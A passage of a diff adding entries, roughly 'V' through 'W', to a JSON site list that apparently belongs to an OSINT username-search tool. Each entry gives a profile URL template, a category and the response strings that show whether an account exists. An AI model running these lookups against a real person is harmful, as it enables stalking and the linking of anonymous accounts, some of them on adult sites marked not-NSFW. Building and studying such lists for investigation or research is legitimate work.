"\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "vfarte.ru", + "url": "http://vfarte.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgmpf", + "url": "https://vgmpf.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "vgorah.ucoz.ru", + "url": "http://vgorah.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgr", + "url": "https://vgr.com/forum/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested", + "match_string": "ProfileStats" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "user_profile" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Vgtimes/Games", + "url": "https://vgtimes.ru/games/{}/forum/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vibilagare", + "url": "https://www.vibilagare.se/users/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sidan hittades inte |", + "match_code": 200, + "match_string": "Profil p\u00e5 vibilagare.se" + }, + { + "name": "Vidamora", + "url": "https://vidamora.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "currentusername" + }, + { + "name": "vidamora.com", + "url": "https://www.vidamora.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Viddler", + "url": "https://www.viddler.com/channel/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "profile-details" + }, + { + "name": "videhelp-comp.my1.ru", + "url": "http://videhelp-comp.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Video-Game-Music-Covers", + "url": "https://video-game-music-covers.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Video_ploud", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "videoforums.ru", + "url": "http://videoforums.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VideogameGeek", + "url": "https://videogamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist" + }, + { + "name": "Videogamer", + "url": "https://videogamer.com/forums/index.php?/profile/{}/", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "ProfilePhoto" + }, + { + "name": "videohive.net", + "url": "https://videohive.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | VideoHive", + "match_string": "user-info" + }, + { + "name": "videomuzon.ucoz.ru", + "url": "http://videomuzon.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Videosift", + "url": "https://videosift.com/member/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viewbug", + "url": "https://www.viewbug.com/member/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "missing-photos", + "match_string": "profile" + }, + { + "name": "vii.at.ua", + "url": "http://vii.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vilinburg.net", + "url": "http://vilinburg.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vim", + "url": "https://vim.wikia.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vimeo", + "url": "https://vimeo.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vimgolf", + "url": "http://www.vimgolf.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "vinbazar.at.ua", + "url": "http://vinbazar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vine", + "url": "https://vine.co/api/users/profiles/vanity/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "That record does not exist", + "match_string": "userId" + }, + { + "name": "vingle.net", + "url": "https://vingle.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vintage-mustang.com", + "url": "https://vintage-mustang.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VIP-blog", + "url": "http://{}.vip-blog.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Blog inexistant", + "match_code": 200, + "match_string": "blog : " + }, + { + "name": "vip-cccp.clan.su", + "url": "http://vip-cccp.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vip-icq.ucoz.net", + "url": "http://vip-icq.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virgool", + "url": "https://virgool.io/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "error_string": "\u06f4\u06f0\u06f4" + }, + { + "name": "Virtual Taboo", + "url": "https://virtualtaboo.com/pornstars/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "

    404: Page not found

    ", + "match_string": "Birthday:" + }, + { + "name": "virtual-auto.ucoz.ru", + "url": "http://virtual-auto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirtualIreland", + "url": "https://www.virtualireland.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "virtualrift.ru", + "url": "http://virtualrift.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/ui/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/gui/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virustotal", + "url": "https://virustotal.com/ui/users/{}/trusted_users", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "virustotal", + "url": "https://www.virustotal.com/ui/users/{}/avatar", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "vishivalochka.ru", + "url": "http://vishivalochka.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "visnesscard", + "url": "https://my.visnesscard.com/Home/GetCard/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "card_id\": 0", + "match_code": 200, + "match_string": "end_point" + }, + { + "name": "VitalFootball", + "url": "https://forums.vitalfootball.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viupetra.3dn.ru", + "url": "http://viupetra.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vivasan.mobi", + "url": "http://vivasan.mobi/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vivino", + "url": "https://www.vivino.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vizjer.pl", + "url": "https://vizjer.pl/uzytkownik/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Ostatnie komentarze", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Vjudge", + "url": "https://VJudge.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VK", + "url": "https://vk.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VK (by id)", + "url": "https://vk.com/id{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Vkaline", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "VKFaces", + "url": "https://vkfaces.com/vk/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "url": "https://vkl.world/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "VKMOnline", + "url": "http://forums.vkmonline.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkrugudrusey", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VKruguDruzei", + "url": "http://{}.vkrugudruzei.ru/x/blog/all/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "vkusnyashkino.ru", + "url": "http://vkusnyashkino.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vl-dimir.ru", + "url": "http://vl-dimir.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlab", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vladimirka", + "url": "http://www.vladimirka.ru/board/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vladmama", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043f\u0441! \u041c\u044b \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438. | VLMI \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u043e\u0431\u043c\u0435\u043d \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439" + }, + { + "name": "VLR", + "url": "https://www.vlr.gg/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "url": "https://vmst.io/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Voice", + "url": "https://voice.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "voice-meta.jpg", + "match_string": "\"noindex\"" + }, + { + "name": "Voice123", + "url": "https://voice123.com/api/providers/search/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">[]", + "match_string": "user_id" + }, + { + "name": "Voices", + "url": "https://www.voices.com/actors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voices", + "url": "https://voices.com/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-info" + }, + { + "name": "Voices.com", + "url": "https://www.voices.com/profile/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Try going back to the previous page or see below for more options", + "match_code": 200, + "match_string": "Last Online" + }, + { + "name": "Voicesevas", + "url": "http://voicesevas.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volga-gaz", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Volgograd Forum", + "url": "https://www.forum-volgograd.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volgogradru", + "url": "http://www.volgogradru.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "Volkodavcaoko", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Volkswagen", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "volkswagen.lviv.ua", + "url": "http://volkswagen.lviv.ua/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volleybox", + "url": "https://volleybox.net/ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Votetags", + "url": "https://www.votetags.info/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " looking for. Perhaps searching can help." + }, + { + "name": "vovdm.at.ua", + "url": "http://vovdm.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voyager", + "url": "https://voyager.lemmy.ml/u/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "VR PORN", + "url": "https://vrporn.com/pornstars/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "We're sorry, but this page wasn't found.

    ", + "match_string": ">Follow" + }, + { + "name": "vracing.3dn.ru", + "url": "http://vracing.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vrn-sms.ru", + "url": "http://vrn-sms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VSCO", + "url": "https://vsco.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vsco", + "url": "https://vsco.co/{}/gallery", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"site_not_found\"}", + "match_code": 200, + "match_string": "permaSubdomain" + }, + { + "name": "Vse", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "vse-o-zaz.at.ua", + "url": "http://vse-o-zaz.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vse1.ucoz.com", + "url": "http://vse1.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vsemayki", + "url": "https://www.vsemayki.ru/designer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found" + }, + { + "name": "vsemobile.my1.ru", + "url": "http://vsemobile.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vseotkritki.ru", + "url": "http://vseotkritki.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vulengate", + "url": "https://www.vulengate.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vulgo_rolka", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vxzone", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vyshyvanka", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vzvd", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W", + "url": "https://w.atwiki.jp/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "atwiki-list" + }, + { + "name": "w2l-g.ucoz.org", + "url": "http://w2l-g.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3challs", + "url": "https://w3challs.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page not found \u2013 W3Challs Hacking Challenges" + }, + { + "name": "W3Schools", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3schools", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "problem" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Wackypedia", + "url": "https://wackypedia.risteq.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wakatime", + "url": "https://wakatime.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wakeup.ucoz.com", + "url": "http://wakeup.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wallpost.ucoz.ru", + "url": "http://wallpost.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wanelo", + "url": "https://wanelo.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wankz VR", + "url": "https://www.wankzvr.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Oops 404, we couldn't find the page you're looking for", + "match_string": ">Birthplace:
    " + }, + { + "name": "Warcraft3ft", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "warcraft3ft.clan.su", + "url": "http://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warez-pirati.ucoz.ru", + "url": "http://warez-pirati.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warface", + "url": "https://wf.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warframe Market", + "url": "https://warframe.market/profile/{}", + "category": "shopping", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warframe.3dn.ru", + "url": "http://warframe.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warhammercommunity", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Warhammergames", + "url": "https://warhammergames.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warmerise", + "url": "https://warmerise.com/profile/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Page Not Found", + "match_code": 200, + "match_string": "
    0 Result's", + "match_string": "Download" + }, + { + "name": "webdom.3dn.ru", + "url": "http://webdom.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webflow.com", + "url": "https://webflow.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Webhamster", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Weblancer", + "url": "https://www.weblancer.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Weblate", + "url": "https://hosted.weblate.org/user/{}/", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webmedia.ucoz.ru", + "url": "http://webmedia.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WebNode", + "url": "https://{}.webnode.cz/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webonrails.ru", + "url": "https://webonrails.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

    \u041e\u0448\u0438\u0431\u043a\u0430

    ", + "match_string": "post_feed_title" + }, + { + "name": "WebOS", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "websecurity.3dn.ru", + "url": "http://websecurity.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weburg", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "»," + }, + { + "name": "wedding-image.ru", + "url": "http://wedding-image.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weebly", + "url": "http://{}.weebly.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error - Page Not Found", + "match_string": "" + }, + { + "name": "Weebly", + "url": "https://{}.weebly.com/", + "category": "news", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weedmaps", + "url": "https://weedmaps.com/brands/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find Marijuana Dispensaries, Brands" + }, + { + "name": "Weforum", + "url": "https://www.weforum.org/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wego.social", + "url": "https://wego.social/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found!", + "match_string": "Following</span>" + }, + { + "name": "Weibo", + "url": "https://weibo.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h2>400 Bad Request</h2>", + "match_string": "{\"ok\":1,\"data\":{\"user\":" + }, + { + "name": "Weibo", + "url": "https://weibo.com/ajax/profile/info?custom={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "<h2>400 Bad Request</h2>", + "match_code": 200, + "match_string": "\"user\":" + }, + { + "name": "Weld", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Werelate", + "url": 